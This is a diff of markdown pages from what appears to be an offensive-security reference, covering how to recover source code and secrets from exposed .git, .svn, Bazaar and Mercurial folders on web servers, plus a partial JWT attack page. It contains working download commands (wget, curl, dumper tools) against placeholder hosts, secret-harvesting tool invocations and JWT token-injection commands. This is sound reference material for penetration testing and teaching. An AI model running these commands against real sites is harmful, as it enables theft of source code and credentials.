* [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)*
* [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
* [Exploiting Weak Pseudo-Random Number Generation in PHPs rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
* [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)

View File

@@ -0,0 +1,52 @@
# Bazaar
> Bazaar (also known as bzr ) is a free, distributed version control system (DVCS) that helps you track project history over time and collaborate seamlessly with others. Developed by Canonical, Bazaar emphasizes ease of use, a flexible workflow, and rich features to cater to both individual developers and large teams.
## Summary
* [Tools](#tools)
* [rip-bzr.pl](#rip-bzrpl)
* [bzr_dumper](#bzr_dumper)
* [References](#references)
## Tools
### rip-bzr.pl
* [kost/dvcs-ripper/rip-bzr.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl)
```powershell
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
```
### bzr_dumper
* [SeahunOh/bzr_dumper](https://github.com/SeahunOh/bzr_dumper)
```powershell
python3 dumper.py -u "http://127.0.0.1:5000/" -o source
Created a standalone tree (format: 2a)
[!] Target : http://127.0.0.1:5000/
[+] Start.
[+] GET repository/pack-names
[+] GET README
[+] GET checkout/dirstate
[+] GET checkout/views
[+] GET branch/branch.conf
[+] GET branch/format
[+] GET branch/last-revision
[+] GET branch/tag
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
[*] Finish
```
```powershell
bzr revert
N application.py
N database.py
N static/
```
## References
* [STEM CTF Cyber Challenge 2019 My First Blog - m3ssap0 / zuzzur3ll0n1 - March 2, 2019](https://ctftime.org/writeup/13380)

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,249 @@
# Git
## Summary
* [Methodology](#methodology)
* [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead)
* [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex)
* [Tools](#tools)
* [Automatic recovery](#automatic-recovery)
* [git-dumper.py](#git-dumperpy)
* [diggit.py](#diggitpy)
* [GoGitDumper](#gogitdumper)
* [rip-git](#rip-git)
* [GitHack](#githack)
* [GitTools](#gittools)
* [Harvesting secrets](#harvesting-secrets)
* [noseyparker](#noseyparker)
* [trufflehog](#trufflehog)
* [Yar](#yar)
* [Gitrob](#gitrob)
* [Gitleaks](#gitleaks)
* [References](#references)
## Methodology
The following examples will create either a copy of the .git or a copy of the current commit.
Check for the following files, if they exist you can extract the .git folder.
* `.git/config`
* `.git/HEAD`
* `.git/logs/HEAD`
### Recovering file contents from .git/logs/HEAD
* Check for 403 Forbidden or directory listing to find the `/.git/` directory
* Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
```powershell
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
```
* Access the commit using the hash
```powershell
# create an empty .git repository
git init test
cd test/.git
# download the file
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
# first byte for subdirectory, remaining bytes for filename
mkdir .git/object/26
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
# display the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489390329 +0000
committer Michael <michael@easyctf.com> 1489390329 +0000
Initial.
```
* Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
```powershell
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
mkdir .git/object/32
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt
040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
```
* Read the data (flag.txt)
```powershell
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
mkdir .git/object/cb
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
```
### Recovering file contents from .git/index
Use the git index file parser <https://pypi.python.org/pypi/gin> (python3).
```powershell
pip3 install gin
gin ~/git-repo/.git/index
```
Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.
```powershell
$ gin .git/index | egrep -e "name|sha1"
name = AWS Amazon Bucket S3/README.md
sha1 = 862a3e58d138d6809405aa062249487bee074b98
name = CRLF injection/README.md
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
```
## Tools
### Automatic recovery
#### git-dumper.py
* [arthaud/git-dumper](https://github.com/arthaud/git-dumper)
```powershell
pip install -r requirements.txt
./git-dumper.py http://web.site/.git ~/website
```
#### diggit.py
* [bl4de/security-tools/diggit](https://github.com/bl4de/security-tools/)
```powershell
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
```
`-u` is remote path, where .git folder exists
`-t` is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (`cd /path/to/temp/folder && git init`)
`-o` is a hash of particular Git object to download
#### GoGitDumper
* [c-sto/gogitdumper](https://github.com/c-sto/gogitdumper)
```powershell
go get github.com/c-sto/gogitdumper
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
git log
git checkout
```
#### rip-git
* [kost/dvcs-ripper](https://github.com/kost/dvcs-ripper)
```powershell
perl rip-git.pl -v -u "http://web.site/.git/"
git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
```
#### GitHack
* [lijiejie/GitHack](https://github.com/lijiejie/GitHack)
```powershell
GitHack.py http://web.site/.git/
```
#### GitTools
* [internetwache/GitTools](https://github.com/internetwache/GitTools)
```powershell
./gitdumper.sh http://target.tld/.git/ /tmp/destdir
git checkout -- .
```
### Harvesting secrets
#### noseyparker
> [praetorian-inc/noseyparker](https://github.com/praetorian-inc/noseyparker) - Nosey Parker is a command-line tool that finds secrets and sensitive information in textual data and Git history.
```ps1
git clone https://github.com/trufflesecurity/test_keys
docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest scan --datastore datastore.np ./test_keys/
docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest report --color always
noseyparker scan --datastore np.noseyparker --git-url https://github.com/praetorian-inc/noseyparker
noseyparker scan --datastore np.noseyparker --github-user octocat
```
#### trufflehog
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
```powershell
pip install truffleHog
truffleHog --regex --entropy=False https://github.com/trufflesecurity/trufflehog.git
```
#### Yar
> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.
```powershell
go get github.com/nielsing/yar # https://github.com/nielsing/yar
yar -o orgname --both
```
#### Gitrob
> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
```powershell
go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
gitrob [options] target [target2] ... [targetN]
```
#### Gitleaks
> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
* Run gitleaks against a public repository
```powershell
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
```
* Run gitleaks against a local repository already cloned into /tmp/
```powershell
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
```
* Run gitleaks against a specific Github Pull request
```powershell
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
```
## References
* [Gitrob: Now in Go - Michael Henriksen - January 24, 2024](https://michenriksen.com/blog/gitrob-now-in-go/)

View File

@@ -0,0 +1,23 @@
# Mercurial
> Mercurial (also known as hg from the chemical symbol for mercury) is a distributed version control system (DVCS) designed for efficiency and scalability. Developed by Matt Mackall and first released in 2005, Mercurial is known for its speed, simplicity, and ability to handle large codebases.
## Summary
* [Tools](#tools)
* [rip-hg.pl](#rip-hgpl)
* [References](#references)
## Tools
### rip-hg.pl
* [kost/dvcs-ripper/master/rip-hg.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl) - Rip web accessible (distributed) version control systems: SVN/GIT/HG...
```powershell
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
```
## References
* [my-chemical-romance - siunam - Feb 13, 2023](https://siunam321.github.io/ctf/LA-CTF-2023/Web/my-chemical-romance/)

View File

@@ -1,307 +1,49 @@
# Insecure source code management # Insecure Source Code Management
* [Git](#git) > Insecure Source Code Management (SCM) can lead to several critical vulnerabilities in web applications and services. Developers often rely on SCM systems like Git and Subversion (SVN) to manage their source code versions. However, poor security practices, such as leaving .git and .svn folders in production environments exposed to the internet, can pose significant risks.
+ [Example](#example)
- [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead) ## Summary
- [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex)
+ [Tools](#tools) * [Methodology](#methodology)
- [Automatic recovery](#automatic-recovery) * [Bazaar](./Bazaar.md)
* [git-dumper.py](#git-dumperpy) * [Git](./Git.md)
* [diggit.py](#diggitpy) * [Mercurial](./Mercurial.md)
* [GoGitDumper](#gogitdumper) * [Subversion](./Subversion.md)
* [rip-git](#rip-git) * [Labs](#labs)
* [GitHack](#githack)
* [GitTools](#gittools)
- [Harvesting secrets](#harvesting-secrets)
* [trufflehog](#trufflehog)
* [Yar](#yar)
* [Gitrob](#gitrob)
* [Gitleaks](#gitleaks)
* [Subversion](#subversion)
+ [Example (Wordpress)](#example-wordpress)
+ [Tools](#tools-1)
- [svn-extractor](#svn-extractor)
* [Bazaar](#bazaar)
+ [Tools](#tools-2)
- [rip-bzr.pl](#rip-bzrpl)
- [bzr_dumper](#bzr_dumper)
* [Mercurial](#mercurial)
+ [Tools](#tools-3)
- [rip-hg.pl](#rip-hgpl)
* [References](#references) * [References](#references)
## Git ## Methodology
The following examples will create either a copy of the .git or a copy of the current commit. Exposing the version control system folders on a web server can lead to severe security risks, including:
Check for the following files, if they exist you can extract the .git folder. * **Source Code Leaks** : Attackers can download the entire source code repository, gaining access to the application's logic.
* **Sensitive Information Exposure** : Embedded secrets, configuration files, and credentials might be present within the codebase.
* **Commit History Exposure** : Attackers can view past changes, revealing sensitive information that might have been previously exposed and later mitigated.
- .git/config The first step is to gather information about the target application. This can be done using various web reconnaissance tools and techniques.
- .git/HEAD
- .git/logs/HEAD
### Example * **Manual Inspection** : Check URLs manually by navigating to common SCM paths.
* Git: `http://target.com/.git/`
* SVN: `http://target.com/.svn/`
#### Recovering file contents from .git/logs/HEAD * **Automated Tools** : Refer to the page related to the specific technology.
1. Check for 403 Forbidden or directory listing to find the `/.git/` directory Once a potential SCM folder is identified, check the HTTP response codes and contents. You might need to bypass `.htaccess` or Reverse Proxy rules.
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
```powershell
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
```
3. Access the commit using the hash
```powershell
# create an empty .git repository
git init test
cd test/.git
# download the file The NGINX rule below returns a `403 (Forbidden)` response instead of `404 (Not Found)` when hitting the `/.git` endpoint.
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
# first byte for subdirectory, remaining bytes for filename ```ps1
mkdir .git/object/26 location /.git {
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/ deny all;
}
# display the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489390329 +0000
committer Michael <michael@easyctf.com> 1489390329 +0000
Initial.
```
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
```powershell
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
mkdir .git/object/32
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt
040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
```
5. Read the data (flag.txt)
```powershell
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
mkdir .git/object/cb
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
```
#### Recovering file contents from .git/index
Use the git index file parser https://pypi.python.org/pypi/gin (python3).
```powershell
pip3 install gin
gin ~/git-repo/.git/index
``` ```
Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file. For example in Git, the exploitation technique doesn't require to list the content of the `.git` folder (`http://target.com/.git/`), the data extraction can still be conducted when files can be read.
```powershell ## Labs
$ gin .git/index | egrep -e "name|sha1"
name = AWS Amazon Bucket S3/README.md
sha1 = 862a3e58d138d6809405aa062249487bee074b98
name = CRLF injection/README.md * [Root Me - Insecure Code Management](https://www.root-me.org/fr/Challenges/Web-Serveur/Insecure-Code-Management)
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
```
### Tools
#### Automatic recovery
##### git-dumper.py
```powershell
git clone https://github.com/arthaud/git-dumper
pip install -r requirements.txt
./git-dumper.py http://web.site/.git ~/website
```
##### diggit.py
```powershell
git clone https://github.com/bl4de/security-tools/ && cd security-tools/diggit
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
-o is a hash of particular Git object to download
```
##### GoGitDumper
```powershell
go get github.com/c-sto/gogitdumper
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
git log
git checkout
```
##### rip-git
```powershell
git clone https://github.com/kost/dvcs-ripper
perl rip-git.pl -v -u "http://web.site/.git/"
git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
```
##### GitHack
```powershell
git clone https://github.com/lijiejie/GitHack
GitHack.py http://web.site/.git/
```
##### GitTools
```powershell
git clone https://github.com/internetwache/GitTools
./gitdumper.sh http://target.tld/.git/ /tmp/destdir
git checkout -- .
```
#### Harvesting secrets
##### trufflehog
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
```powershell
pip install truffleHog # https://github.com/dxa4481/truffleHog
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
```
##### Yar
> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.
```powershell
go get github.com/nielsing/yar # https://github.com/nielsing/yar
yar -o orgname --both
```
##### Gitrob
> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
```powershell
go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
gitrob [options] target [target2] ... [targetN]
```
##### Gitleaks
> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
```powershell
# Run gitleaks against a public repository
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
# Run gitleaks against a local repository already cloned into /tmp/
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
# Run gitleaks against a specific Github Pull request
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
or
go get -u github.com/zricethezav/gitleaks
```
## Subversion
### Example (Wordpress)
```powershell
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
```
1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
```powershell
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
```
2. Download interesting files
* remove \$sha1\$ prefix
* add .svn-base postfix
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
### Tools
#### svn-extractor
```powershell
git clone https://github.com/anantshri/svn-extractor.git
python svn-extractor.py url "url with .svn available"
```
## Bazaar
### Tools
#### rip-bzr.pl
```powershell
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
```
#### bzr_dumper
```powershell
git clone https://github.com/SeahunOh/bzr_dumper
python3 dumper.py -u "http://127.0.0.1:5000/" -o source
Created a standalone tree (format: 2a)
[!] Target : http://127.0.0.1:5000/
[+] Start.
[+] GET repository/pack-names
[+] GET README
[+] GET checkout/dirstate
[+] GET checkout/views
[+] GET branch/branch.conf
[+] GET branch/format
[+] GET branch/last-revision
[+] GET branch/tag
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
[*] Finish
$ bzr revert
N application.py
N database.py
N static/
```
## Mercurial
### Tools
#### rip-hg.pl
```powershell
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
```
## References ## References
- [bl4de, hidden_directories_leaks](https://github.com/bl4de/research/tree/master/hidden_directories_leaks) * [Hidden directories and files as a source of sensitive information about web application - Apr 30, 2017](https://github.com/bl4de/research/tree/master/hidden_directories_leaks)
- [bl4de, diggit](https://github.com/bl4de/security-tools/tree/master/diggit)
- [Gitrob: Now in Go - Michael Henriksen](https://michenriksen.com/blog/gitrob-now-in-go/)

View File

@@ -0,0 +1,39 @@
# Subversion
> Subversion (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [References](#references)
## Tools
* [anantshri/svn-extractor](https://github.com/anantshri/svn-extractor) - Simple script to extract all web resources by means of .SVN folder exposed over network.
```powershell
python svn-extractor.py --url "url with .svn available"
```
## Methodology
```powershell
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
```
1. Download the svn database from `http://server/path_to_vulnerable_site/.svn/wc.db`
```powershell
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
```
2. Download interesting files
* remove `$sha1$` prefix
* add `.svn-base` postfix
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
## References
* [SVN Extractor for Web Pentesters - Anant Shrivastava - March 26, 2013](http://blog.anantshri.info/svn-extractor-for-web-pentesters/)

View File

@@ -8,19 +8,28 @@
- [JWT Format](#jwt-format) - [JWT Format](#jwt-format)
- [Header](#header) - [Header](#header)
- [Payload](#payload) - [Payload](#payload)
- [JWT Signature - None algorithm](#jwt-signature---none-algorithm) - [JWT Signature](#jwt-signature)
- [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256) - [JWT Signature - Null Signature Attack (CVE-2020-28042)](#jwt-signature---null-signature-attack-cve-2020-28042)
- [Breaking JWT's secret](#breaking-jwts-secret) - [JWT Signature - Disclosure of a correct signature (CVE-2019-7644)](#jwt-signature---disclosure-of-a-correct-signature-cve-2019-7644)
- [JWT Tool](#jwt-tool) - [JWT Signature - None Algorithm (CVE-2015-9235)](#jwt-signature---none-algorithm-cve-2015-9235)
- [JWT cracker](#jwt-cracker) - [JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)](#jwt-signature---key-confusion-attack-rs256-to-hs256-cve-2016-5431)
- [Hashcat](#hashcat) - [JWT Signature - Key Injection Attack (CVE-2018-0114)](#jwt-signature---key-injection-attack-cve-2018-0114)
- [JWT Signature - Recover Public Key From Signed JWTs](#jwt-signature---recover-public-key-from-signed-jwts)
- [JWT Secret](#jwt-secret)
- [Encode and Decode JWT with the secret](#encode-and-decode-jwt-with-the-secret)
- [Break JWT secret](#break-jwt-secret)
- [JWT Claims](#jwt-claims)
- [JWT kid Claim Misuse](#jwt-kid-claim-misuse)
- [JWKS - jku header injection](#jwks---jku-header-injection)
- [Labs](#labs)
- [References](#references) - [References](#references)
## Tools ## Tools
- [jwt_tool](https://github.com/ticarpi/jwt_tool) - [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) - 🐍 A toolkit for testing, tweaking and cracking JSON Web Tokens
- [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C
- [JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) - [PortSwigger/JOSEPH](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) - JavaScript Object Signing and Encryption Pentesting Helper
- [jwt.io](https://jwt.io/) - Encoder/Decoder
## JWT Format ## JWT Format
@@ -38,8 +47,8 @@ UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
### Header ### Header
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). Registered header parameter names defined in [JSON Web Signature (JWS) RFC](https://www.rfc-editor.org/rfc/rfc7515).
"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature). The most basic JWT header is the following JSON.
```json ```json
{ {
@@ -48,23 +57,42 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
} }
``` ```
Other parameters are registered in the RFC.
| Parameter | Definition | Description |
|-----------|--------------------------------------|-------------|
| alg | Algorithm | Identifies the cryptographic algorithm used to secure the JWS |
| jku | JWK Set URL | Refers to a resource for a set of JSON-encoded public keys |
| jwk | JSON Web Key | The public key used to digitally sign the JWS |
| kid | Key ID | The key used to secure the JWS |
| x5u | X.509 URL | URL for the X.509 public key certificate or certificate chain |
| x5c | X.509 Certificate Chain | X.509 public key certificate or certificate chain in PEM-encoded used to digitally sign the JWS |
| x5t | X.509 Certificate SHA-1 Thumbprint) | Base64 url-encoded SHA-1 thumbprint (digest) of the DER encoding of the X.509 certificate |
| x5t#S256 | X.509 Certificate SHA-256 Thumbprint | Base64 url-encoded SHA-256 thumbprint (digest) of the DER encoding of the X.509 certificate |
| typ | Type | Media Type. Usually `JWT` |
| cty | Content Type | This header parameter is not recommended to use |
| crit | Critical | Extensions and/or JWA are being used |
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
| `alg` Param Value | Digital Signature or MAC Algorithm | Requirements | | `alg` Param Value | Digital Signature or MAC Algorithm | Requirements |
|---|---|---| |-------|------------------------------------------------|---------------|
| HS256 | HMAC using SHA-256 | Required | | HS256 | HMAC using SHA-256 | Required |
| HS384 | HMAC using SHA-384 | Optional | | HS384 | HMAC using SHA-384 | Optional |
| HS512 | HMAC using SHA-512 | Optional | | HS512 | HMAC using SHA-512 | Optional |
| RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended | | RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
| RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional | | RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
| RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional | | RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
| ES256 | ECDSA using P-256 and SHA-256 | Recommended | | ES256 | ECDSA using P-256 and SHA-256 | Recommended |
| ES384 | ECDSA using P-384 and SHA-384 | Optional | | ES384 | ECDSA using P-384 and SHA-384 | Optional |
| ES512 | ECDSA using P-521 and SHA-512 | Optional | | ES512 | ECDSA using P-521 and SHA-512 | Optional |
| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional | | PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional | | PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional | | PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
| none | No digital signature or MAC performed | Required | | none | No digital signature or MAC performed | Required |
Inject headers with [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): `python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2`
### Payload ### Payload
@@ -78,6 +106,7 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
``` ```
Claims are the predefined keys and their values: Claims are the predefined keys and their values:
- iss: issuer of the token - iss: issuer of the token
- exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds. - exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
- iat: The time the JWT was issued. Can be used to determine the age of the JWT - iat: The time the JWT was issued. Can be used to determine the age of the JWT
@@ -86,49 +115,82 @@ Claims are the predefined keys and their values:
- sub: subject of the token (rarely used) - sub: subject of the token (rarely used)
- aud: audience of the token (also rarely used) - aud: audience of the token (also rarely used)
JWT Encoder Decoder: `http://jsonwebtoken.io` Inject payload claims with [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): `python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3`
## JWT Signature - None algorithm ## JWT Signature
JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application. ### JWT Signature - Null Signature Attack (CVE-2020-28042)
